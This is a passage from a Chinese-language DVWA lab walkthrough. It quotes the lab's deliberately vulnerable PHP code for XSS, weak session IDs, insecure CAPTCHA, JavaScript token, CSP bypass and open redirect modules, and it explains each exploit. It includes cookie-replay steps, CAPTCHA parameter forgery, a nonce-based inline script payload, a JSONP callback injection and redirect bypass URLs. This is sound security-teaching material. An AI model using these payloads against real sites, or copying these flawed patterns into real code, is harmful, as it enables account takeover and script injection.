$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

//mysql_close();
}

?>

message处与medium难度没有做太多的变化,因此不考虑这里,name处对script标签做了各种过滤,我们考虑换标签img
图片绕过形成xss

impossible
源码分析:

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );

// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );

// Sanitize name input
$name = stripslashes( $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$name = htmlspecialchars( $name );

// Update database
$data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
$data->bindParam( ':message', $message, PDO::PARAM_STR );
$data->bindParam( ':name', $name, PDO::PARAM_STR );
$data->execute();
}

// Generate Anti-CSRF token
generateSessionToken();

?>

这里对name和message都是用了htmlspecialchars函数做了过滤,还添加了token值进一步提高了安全性。

DVWA – Weak Session ID(弱会话)

弱会话是指用户访问服务器的时候,一般服务器都会分配一个身份证session id给用户,用于标识。用户拿到session id后就会保存到cookie中,之后拿cookie在访问服务器时,服务器就知道你是谁了。

但session id过于简单就会容易被人伪造。根本不需要知道用户的密码就能访问用户服务器的内容。

low
源码分析:


<?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
if (!isset ($_SESSION['last_session_id'])) {
$_SESSION['last_session_id'] = 0;
}
//服务器每次生成的session_id加1给客户端
$_SESSION['last_session_id']++;
$cookie_value = $_SESSION['last_session_id'];
setcookie("dvwaSession", $cookie_value);
}
?>

漏洞复现:
如果session中的last_session_id不存在就设为0,生成cookie时就在cookies上dvwasessionId+1
首先点击按钮用burp抓包
抓包
将抓到的cookie复制下来:
Cookie: dvwaSession=1; PHPSESSID=ha1df1ke8hmua8h2d9pd7j11qb; security=low
然后新打开一个页面,将刚才复制的cookie加入就可以实现直接登录不需要输密码(在这里需要清楚浏览器的cookie值)
后续流程

medium
源码分析:


<?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
$cookie_value = time();
//返回当前时间的Unix时间戳,并格式化为日期
//time() 函数返回自 Unix 纪元(January 1 1970 00:00:00 GMT)起的当前时间的秒数
setcookie("dvwaSession", $cookie_value);
}
?>

这里通过时间戳来生成的session,可以通过时间戳转换工具生成时间戳绕过 时间戳生成工具
漏洞复现:
抓包,保存cookie信息
获取cookie信息

Cookie: dvwaSession=1679300781; PHPSESSID=9g6n98glasehppc1148qa3hdr6; security=medium

打开新标签页清空cookie信息,抓包访问靶场的弱会话地址,修改包中的cookie信息
改包放行
成功访问

high
源码分析:

<?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
if (!isset ($_SESSION['last_session_id_high'])) {
$_SESSION['last_session_id_high'] = 0;
}
$_SESSION['last_session_id_high']++;
$cookie_value = md5($_SESSION['last_session_id_high']);
setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], false, false);
/*
setcookie(name,value,expire,path,domain,secure,httponly)
参数 描述
name 必需。规定cookie的名称。
value 必需。规定cookie的值。
expire 可选。规定cookie的有效期。
path 可选。规定cookie的服务器路径。
domain 可选。规定cookie的域名。
secure 可选。规定是否通过安全的HTTPS连接来传输cookie。
httponly 可选。规定是否Cookie仅可通过HTTP协议访问。
*/
}

?>

发现sessionId,这种使用了md5解密进行尝试发现是个2,猜测可能是low级别上进行md5加密
查看
查看session的值是low的进行md5加密
其余操作步骤和low相同

impossible
源码分析:

<?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
$cookie_value = sha1(mt_rand() . time() . "Impossible");
//随机数+时间戳+固定字符impossible在进行sha1运算
setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], true, true);
}
?>

这里$cookie_value采用随机数+时间戳+固定字符串”Impossible”,再进行sha1运算,完全不能猜测到dvwaSession的值。

DVWA – Insecure CAPTCHA(不安全的验证码)

不安全的验证码(insecure captcha)全程Completely Automated Public Turing Test to Tell Computers and Humans Apart,中文名是全自动区分计算机和人类的图灵测试,关于这一项其实是在验证码的流程出现了逻辑漏洞。
验证流程:
验证流程

在这里由于访问不到Google的验证码api,过于麻烦还需要翻墙,只需要明白漏洞原理即可。

Low
源码分析:

<?php
//第一阶段,验证身份 验证阶段step为1
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
// Hide the CAPTCHA form 隐藏验证码表单
$hide_form = true;

// Get input 得到用户的新密码及确认密码
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];

// Check CAPTCHA from 3rd party 使用第三方进行身份验证
/*
recaptcha_check_answer($privkey,$remoteip, $challenge,$response)
参数$privkey是服务器申请的private key,$remoteip是用户的ip,$challenge是recaptcha_challenge_field字段的值,来自前端页面 ,$response是recaptcha_response_field字段的值。函数返回ReCaptchaResponse class的实例,ReCaptchaResponse类有2个属性 :
$is_valid是布尔型的,表示校验是否有效,
$error是返回的错误代码。
*/
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key'],
$_POST['g-recaptcha-response']
);

// Did the CAPTCHA fail? 验证失败时
if( !$resp ) {
// What happens when the CAPTCHA was entered incorrectly
$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
}
else {
// CAPTCHA was correct. Do both new passwords match? 验证通过时,匹配两次密码是否一致
if( $pass_new == $pass_conf ) {
// Show next stage for the user
echo "
<pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>
<form action=\"#\" method=\"POST\">
<input type=\"hidden\" name=\"step\" value=\"2\" />
<input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" />
<input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" />
<input type=\"submit\" name=\"Change\" value=\"Change\" />
</form>";
}
else {
// Both new passwords do not match.
$html .= "<pre>Both passwords must match.</pre>";
$hide_form = false;
}
}
}
//第二阶段,检查两次密码是否一致,并更新密码
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
// Hide the CAPTCHA form
$hide_form = true;

// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];

// Check to see if both password match
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );

// Update database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Feedback for the end user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with the passwords matching
echo "<pre>Passwords did not match.</pre>";
$hide_form = false;
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

源码分析总共分为两个阶段:

  1. 对用户的身份进行验证,step为1,验证成功后才能进行密码修改
  2. step为2,两次输入的密码一致可以进行修改

我们考虑直接跳过第一阶段,输入一密码一致,burp抓包修改step的值进行直接改密码。

medium
源码分析:

<?php

if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
// Hide the CAPTCHA form
$hide_form = true;

// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];

// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key' ],
$_POST['g-recaptcha-response']
);

// Did the CAPTCHA fail?
if( !$resp ) {
// What happens when the CAPTCHA was entered incorrectly
$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
}
else {
// CAPTCHA was correct. Do both new passwords match?
if( $pass_new == $pass_conf ) {
// Show next stage for the user
echo "
<pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>
<form action=\"#\" method=\"POST\">
<input type=\"hidden\" name=\"step\" value=\"2\" />
<input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" />
<input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" />
<input type=\"hidden\" name=\"passed_captcha\" value=\"true\" />
<input type=\"submit\" name=\"Change\" value=\"Change\" />
</form>";
//对参数passed_captcha进行验证,如果通过身份验证,该参数就为true
}
else {
// Both new passwords do not match.
$html .= "<pre>Both passwords must match.</pre>";
$hide_form = false;
}
}
}

if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
// Hide the CAPTCHA form
$hide_form = true;

// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];

// Check to see if they did stage 1
if( !$_POST[ 'passed_captcha' ] ) {
$html .= "<pre><br />You have not passed the CAPTCHA.</pre>";
$hide_form = false;
return;
}

// Check to see if both password match
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );

// Update database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Feedback for the end user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with the passwords matching
echo "<pre>Passwords did not match.</pre>";
$hide_form = false;
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

与Low相比怎加了一个passed_capt,当passed_capt为true时可以修改密码,同样使用抓包修改相关值

high
源码分析:

?php

if( isset( $_POST[ 'Change' ] ) ) {
// Hide the CAPTCHA form
$hide_form = true;

// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];

// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key' ],
$_POST['g-recaptcha-response']
);
//(通过身份验证条件)或者 (参数g-recaptcha-respon为hidd3n_valu3并且参数 HTTP_USER_AGE为 reCAPTC)就算是验证通过了
if (
$resp ||
(
$_POST[ 'g-recaptcha-response' ] == 'hidd3n_valu3'
&& $_SERVER[ 'HTTP_USER_AGENT' ] == 'reCAPTCHA'
)
){
// CAPTCHA was correct. Do both new passwords match?
if ($pass_new == $pass_conf) {
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );

// Update database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Feedback for user
echo "<pre>Password Changed.</pre>";

} else {
// Ops. Password mismatch
$html .= "<pre>Both passwords must match.</pre>";
$hide_form = false;
}

} else {
// What happens when the CAPTCHA was entered incorrectly
$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?>

可以看到,验证过程部分步走合在了一个阶段里了,服务器的验证逻辑时当谷歌验证返回的结果是false并且参数ecaptcha_response_field不等于hidd3n_valu3(或者http包头的User-Agent参数不等于(reCAPTCHA)时,就认为验证码输入错误,反之则认为已经通过了验证码的检查。搞清楚了验证逻辑,剩下就是伪造绕过了,由于$resp参数我们无法控制,所以重心放在参数recaptcha_response_field、User-Agent上。

impossible
这个级别的代码增加了token机制防御csrf攻击,利用pdo技术防护sql注入,验证过程是一部分同时需要输入以前的密码,进一步加强了身份认证。

DVWA – Javascript

这里的JavaScript其实指的是JavaScript Attack也就是js攻击。JavaScript是一种基于对象和事件驱动的、具有安全性的脚本语言。是一种解释型语言(代码不需要预编译)。通常JavaScript脚本是通过嵌入html中来实现自身的功能的。

Low
源码分析:

<?php
$page[ 'body' ] .= <<<EOF
<script>

/*
MD5 code from here
https://github.com/blueimp/JavaScript-MD5
*/

!function(n){"use strict";function t(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function r(n,t){return n<<t|n>>>32-t}function e(n,e,o,u,c,f){return t(r(t(t(e,n),t(u,f)),c),o)}function o(n,t,r,o,u,c,f){return e(t&r|~t&o,n,t,u,c,f)}function u(n,t,r,o,u,c,f){return e(t&o|r&~o,n,t,u,c,f)}function c(n,t,r,o,u,c,f){return e(t^r^o,n,t,u,c,f)}function f(n,t,r,o,u,c,f){return e(r^(t|~o),n,t,u,c,f)}function i(n,r){n[r>>5]|=128<<r%32,n[14+(r+64>>>9<<4)]=r;var e,i,a,d,h,l=1732584193,g=-271733879,v=-1732584194,m=271733878;for(e=0;e<n.length;e+=16)i=l,a=g,d=v,h=m,g=f(g=f(g=f(g=f(g=c(g=c(g=c(g=c(g=u(g=u(g=u(g=u(g=o(g=o(g=o(g=o(g,v=o(v,m=o(m,l=o(l,g,v,m,n[e],7,-680876936),g,v,n[e+1],12,-389564586),l,g,n[e+2],17,606105819),m,l,n[e+3],22,-1044525330),v=o(v,m=o(m,l=o(l,g,v,m,n[e+4],7,-176418897),g,v,n[e+5],12,1200080426),l,g,n[e+6],17,-1473231341),m,l,n[e+7],22,-45705983),v=o(v,m=o(m,l=o(l,g,v,m,n[e+8],7,1770035416),g,v,n[e+9],12,-1958414417),l,g,n[e+10],17,-42063),m,l,n[e+11],22,-1990404162),v=o(v,m=o(m,l=o(l,g,v,m,n[e+12],7,1804603682),g,v,n[e+13],12,-40341101),l,g,n[e+14],17,-1502002290),m,l,n[e+15],22,1236535329),v=u(v,m=u(m,l=u(l,g,v,m,n[e+1],5,-165796510),g,v,n[e+6],9,-1069501632),l,g,n[e+11],14,643717713),m,l,n[e],20,-373897302),v=u(v,m=u(m,l=u(l,g,v,m,n[e+5],5,-701558691),g,v,n[e+10],9,38016083),l,g,n[e+15],14,-660478335),m,l,n[e+4],20,-405537848),v=u(v,m=u(m,l=u(l,g,v,m,n[e+9],5,568446438),g,v,n[e+14],9,-1019803690),l,g,n[e+3],14,-187363961),m,l,n[e+8],20,1163531501),v=u(v,m=u(m,l=u(l,g,v,m,n[e+13],5,-1444681467),g,v,n[e+2],9,-51403784),l,g,n[e+7],14,1735328473),m,l,n[e+12],20,-1926607734),v=c(v,m=c(m,l=c(l,g,v,m,n[e+5],4,-378558),g,v,n[e+8],11,-2022574463),l,g,n[e+11],16,1839030562),m,l,n[e+14],23,-35309556),v=c(v,m=c(m,l=c(l,g,v,m,n[e+1],4,-1530992060),g,v,n[e+4],11,1272893353),l,g,n[e+7],16,-155497632),m,l,n[e+10],23,-1094730640),v=c(v,m=c(m,l=c(l,g,v,m,n[e+13],4,681279174),g,v,n[e],11,-358537222),l,g,n[e+3],16,-722521979),m,l,n[e+6],23,76029189),v=c(v,m=c(m,l=c(l,g,v,m,n[e+9],4,-640364487),g,v,n[e+12],11,-421815835),l,g,n[e+15],16,530742520),m,l,n[e+2],23,-995338651),v=f(v,m=f(m,l=f(l,g,v,m,n[e],6,-198630844),g,v,n[e+7],10,1126891415),l,g,n[e+14],15,-1416354905),m,l,n[e+5],21,-57434055),v=f(v,m=f(m,l=f(l,g,v,m,n[e+12],6,1700485571),g,v,n[e+3],10,-1894986606),l,g,n[e+10],15,-1051523),m,l,n[e+1],21,-2054922799),v=f(v,m=f(m,l=f(l,g,v,m,n[e+8],6,1873313359),g,v,n[e+15],10,-30611744),l,g,n[e+6],15,-1560198380),m,l,n[e+13],21,1309151649),v=f(v,m=f(m,l=f(l,g,v,m,n[e+4],6,-145523070),g,v,n[e+11],10,-1120210379),l,g,n[e+2],15,718787259),m,l,n[e+9],21,-343485551),l=t(l,i),g=t(g,a),v=t(v,d),m=t(m,h);return[l,g,v,m]}function a(n){var t,r="",e=32*n.length;for(t=0;t<e;t+=8)r+=String.fromCharCode(n[t>>5]>>>t%32&255);return r}function d(n){var t,r=[];for(r[(n.length>>2)-1]=void 0,t=0;t<r.length;t+=1)r[t]=0;var e=8*n.length;for(t=0;t<e;t+=8)r[t>>5]|=(255&n.charCodeAt(t/8))<<t%32;return r}function h(n){return a(i(d(n),8*n.length))}function l(n,t){var r,e,o=d(n),u=[],c=[];for(u[15]=c[15]=void 0,o.length>16&&(o=i(o,8*n.length)),r=0;r<16;r+=1)u[r]=909522486^o[r],c[r]=1549556828^o[r];return e=i(u.concat(d(t)),512+8*t.length),a(i(c.concat(e),640))}function g(n){var t,r,e="";for(r=0;r<n.length;r+=1)t=n.charCodeAt(r),e+="0123456789abcdef".charAt(t>>>4&15)+"0123456789abcdef".charAt(15&t);return e}function v(n){return unescape(encodeURIComponent(n))}function m(n){return h(v(n))}function p(n){return g(m(n))}function s(n,t){return l(v(n),v(t))}function C(n,t){return g(s(n,t))}function A(n,t,r){return t?r?s(t,n):C(t,n):r?m(n):p(n)}"function"==typeof define&&define.amd?define(function(){return A}):"object"==typeof module&&module.exports?module.exports=A:n.md5=A}(this);

function rot13(inp) {
return inp.replace(/[a-zA-Z]/g,function(c){return String.fromCharCode((c<="Z"?90:122)>=(c=c.charCodeAt(0)+13)?c:c-26);});
}

function generate_token() {
var phrase = document.getElementById("phrase").value;
document.getElementById("token").value = md5(rot13(phrase));
}

generate_token();
</script>
EOF;
?>

我们知道中间的一大堆使用md5生成了加密token,和之前的源码不同在于这次的token实在前端生成的,generate_token()函数的作用是获取phrase参数中的值,将其的rot13加密的结果进行md5加密作为token值

漏洞复现:
尝试

medium
源码分析:


<?php
$page[ 'body' ] .= '<script src="' . DVWA_WEB_PAGE_TO_ROOT . 'vulnerabilities/javascript/source/medium.js"></script>';
?>
function do_something(e){for(var t="",n=e.length-1;n>=0;n--)t+=e[n];return t}setTimeout(function(){do_elsesomething("XX")},300);function do_elsesomething(e){document.getElementById("token").value=do_something(e+document.getElementById("phrase").value+"XX")}

将phrase逆序输出,然后在前后分别添加 XX 作为规律所以当我们输入 success 的话,对应的 token 应该就是XXsseccusXX,这里也就是加密方式替换了而已。

漏洞复现:
依旧使用刚才的方法将加密方式的函数更换为do_elsesomething(“XX”);
更换函数

high
源码分析:

<?php
$page[ 'body' ] .= '<script src="' . DVWA_WEB_PAGE_TO_ROOT . 'vulnerabilities/javascript/source/high.js"></script>';
?>

high.js中用了js混淆,打开逆混淆网址,以调整js,获取到正确的js分析执行顺序
漏洞复现:
我们一样在控制台采用token_part_1(“ABCD”,44);和token_part_2(“XX”);
成功执行

DVWA – CSP Bypass(csp绕过)

csp(内容安全策略)用于定义脚本和其他资源可以从何处加载或执行,本模块根据开发人员开发时常出现的错误来绕过该策略。这些漏洞都不是csp中的实际漏洞,都是实现csp的方式中的漏洞。绕过内容安全策略并在页面执行JavaScript。

内容安全测略(csp),为了缓解大部分潜在的xss问题,浏览器的扩展程序系统引入了csp,通过引入一些相当严格的策略使得扩展程序在默认情况下更安全,开发者可以创建并强制一些规则管理网站允许加载的内容。csp以白名单机制对网站加载或执行的资源起作用,在网页中策略通过http头信息或者meta元素定义。

Content-Security-Policy:配置好并启用后,不符合CSP的外部资源就会被阻止加载。
Content-Security-Policy-Report-Only表示不执行限制选项,只是记录违反限制的行为。它必须与resport-uri选项配合使用

CSP虽然提供了强大的安全保护,但它也使eval()及相关函数被禁用,内嵌的JavaScript代码将不会执行,只能通过白名单来加载远程脚本,如果使用csp保护网站开发者就不得不花费大量时间分离内嵌的js代码和调整。

Low
源码分析:

<?php

$headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com hastebin.com www.toptal.com example.com code.jquery.com https://ssl.google-analytics.com ;"; // allows js from self, pastebin.com, hastebin.com, jquery and google analytics.

header($headerCSP);

# These might work if you can't create your own for some reason
# https://pastebin.com/raw/R570EE00
# https://www.toptal.com/developers/hastebin/raw/cezaruzeka

?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
<script src='" . $_POST['include'] . "'></script>
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>You can include scripts from external sources, examine the Content Security Policy and enter a URL to include here:</p>
<input size="50" type="text" name="include" value="" id="include" />
<input type="submit" value="Include" />
</form>
';

源码定义了一个变量headerCSP放置了一些url,使用scriptsrc指令指向一个外部JavaScript文件,header()函数以原始形式将http标头发送到客户端或浏览器。也就是说源码对http头定义了csp标签从而定义了可接受的外部JavaScript资源的白名单,通过抓包可以知道是那些网站。

pastebin是一个快速分享文本内容的网站,加入文本的内容是一段JavaScript代码,网页就会把改代码包含进来。
漏洞复现:
我们在pastebin写一段js代码
写js
然后将url注入实现攻击:
测试
但没有弹窗弹窗,查询发现
错误
问题暂时没找到解决方法

medium
源码分析:

<?php

$headerCSP = "Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';";

header($headerCSP);

// Disable XSS protections so that inline alert boxes will work
header ("X-XSS-Protection: 0");

# <script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>

?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
" . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>Whatever you enter here gets dropped directly into the page, see if you can get an alert box to pop up.</p>
<input size="50" type="text" name="include" value="" id="include" />
<input type="submit" value="Include" />
</form>
';

这个级别csp策略尝试使用nonce来防止攻击者添加内联脚本,HTTP头信息中的script-src的合法来源发生了变化。script-src还可以设置一些特殊值,unsafe-inline 允许执行页面内嵌的 script 标签和事件监听函数,nonce 值会在每次 HTTP 回应给出一个授权 token。

unsafe-inline:当csp有Unsafe-inline时, 并且受限于csp无法直接引入外部js, 不过当frame-src
为self, 或者能引入当前域的资源的时候, 即有一定可能能够引入外部js

nonce-source,仅允许特定的内联脚本块。如源码中:nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=’

漏洞复现:
现在就不是从外界导入 JavaScript 资源了,而是直接通过内联 JavaScript 代码,注入时直接令 nonce 为设定好的值即可。
<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>
成功

high
源码分析:

<?php
$headerCSP = "Content-Security-Policy: script-src 'self';";

header($headerCSP);

?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
" . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>The page makes a call to ' . DVWA_WEB_PAGE_TO_ROOT . '/vulnerabilities/csp/source/jsonp.php to load some code. Modify that page to run your own code.</p>
<p>1+2+3+4+5=<span id="answer"></span></p>
<input type="button" id="solve" value="Solve the sum" />
</form>

<script src="source/high.js"></script>
';

function clickButton() {
var s = document.createElement("script");
s.src = "source/jsonp.php?callback=solveSum";
document.body.appendChild(s);
}

function solveSum(obj) {
if ("answer" in obj) {
document.getElementById("answer").innerHTML = obj['answer'];
}
}

var solve_button = document.getElementById ("solve");

if (solve_button) {
solve_button.addEventListener("click", function() {
clickButton();
});
}

可以看到后端代码除了自身源其余外部资源全部过滤,但是前端添加了一个函数solveSum函数没有对参数做任何处理。即在点击网页的按钮使js生成一个script标签,src指向source/jsonp.php?callback=solveNum。document对象使我们可以从脚本中对HTML页面中的所有元素进行访问,createElement()方法通过指定名称创建一个元素,body属性提供对< body >元素的直接访问,对于定义了框架集的文档将引用最外层的< frameset >。appendChild()方法可向节点的子节点列表的末尾添加新的子节点,也就是网页会把 “source/jsonp.php?callback=solveNum” 加入到DOM中。源码中定义了solveNum的函数函数传入参数 obj,如果字符串 “answer” 在obj 中就会执行。getElementById()方法可返回对拥有指定ID的第一个对象的引用,innerHTML属性设置或返回表格行的开始和结束标签之间的HTML。这里的script标签会把远程加载的solveSum({“answer”:”15”})当作js代码执行,然后这个函数就会在页面显示答案。

漏洞复现:
注意到需要向source/jsonp.php传入参数,这个参数没有进行任何的过滤,因此我们可以通过这个参数进行注入。
查看参数
测试
由于是post提交我们用hackbr添加参数,我们构造参数注入
include=<script src="source/jsonp.php?callback=alert('xss');"></script>
成功绕过弹出窗口

impossible
源码分析:

<?php

$headerCSP = "Content-Security-Policy: script-src 'self';";

header($headerCSP);

?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
" . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>Unlike the high level, this does a JSONP call but does not use a callback, instead it hardcodes the function to call.</p><p>The CSP settings only allow external JavaScript on the local server and no inline code.</p>
<p>1+2+3+4+5=<span id="answer"></span></p>
<input type="button" id="solve" value="Solve the sum" />
</form>

<script src="source/impossible.js"></script>
';

function clickButton() {
var s = document.createElement("script");
s.src = "source/jsonp_impossible.php";
document.body.appendChild(s);
}

function solveSum(obj) {
if ("answer" in obj) {
document.getElementById("answer").innerHTML = obj['answer'];
}
}

var solve_button = document.getElementById ("solve");

if (solve_button) {
solve_button.addEventListener("click", function() {
clickButton();
});
}

与high等级不同,impossible等级执行JSONP调用,但不使用callback参数,而是硬编码要调用的函数。CSP设置只允许本地服务器上的外部javascript,不允许内联代码。

DVWA – Open HTTP Redirect

这和pikachu靶场的不安全的url重定向类似

Low
源码分析:

<?php

if (array_key_exists ("redirect", $_GET) && $_GET['redirect'] != "") {
header ("location: " . $_GET['redirect']);
exit;
}

http_response_code (500);
?>
<p>Missing redirect target.</p>
<?php
exit;
?>

漏洞复现:
未作任何处理我们直接在参数中拼接http://xxx.com即可重定向
找位置
成功跳转

medium
源码分析:

<?php

if (array_key_exists ("redirect", $_GET) && $_GET['redirect'] != "") {
if (preg_match ("/http:\/\/|https:\/\//i", $_GET['redirect'])) {
http_response_code (500);
?>
<p>Absolute URLs not allowed.</p>
<?php
exit;
} else {
header ("location: " . $_GET['redirect']);
exit;
}
}

http_response_code (500);
?>
<p>Missing redirect target.</p>
<?php
exit;
?>

漏洞复现:
这里使用正则对http://https://头进行检验我们可以让他访问本地的一些文件如phpinfo页面
访问本地
也可以使用相对网址将页面带到百度将http:或者https去掉直接使用//baidu.com
跳转

high
源码分析:

<?php

if (array_key_exists ("redirect", $_GET) && $_GET['redirect'] != "") {
if (strpos($_GET['redirect'], "info.php") !== false) {
header ("location: " . $_GET['redirect']);
exit;
} else {
http_response_code (500);
?>
<p>You can only redirect to the info page.</p>
<?php
exit;
}
}

http_response_code (500);
?>
<p>Missing redirect target.</p>
<?php
exit;
?>

漏洞复现:
这里使用strpos函数检测参数中是否有info.php我们可以在参数中添加一个变量指定info.php来绕过
绕过
成功跳转

impossible
源码分析:

?php

$target = "";

if (array_key_exists ("redirect", $_GET) && is_numeric($_GET['redirect'])) {
switch (intval ($_GET['redirect'])) {
case 1:
$target = "info.php?id=1";
break;
case 2:
$target = "info.php?id=2";
break;
case 99:
$target = "https://digi.ninja";
break;
}
if ($target != "") {
header ("location: " . $target);
exit;
} else {
?>
Unknown redirect target.
<?php
exit;
}
}

?>
Missing redirect target.

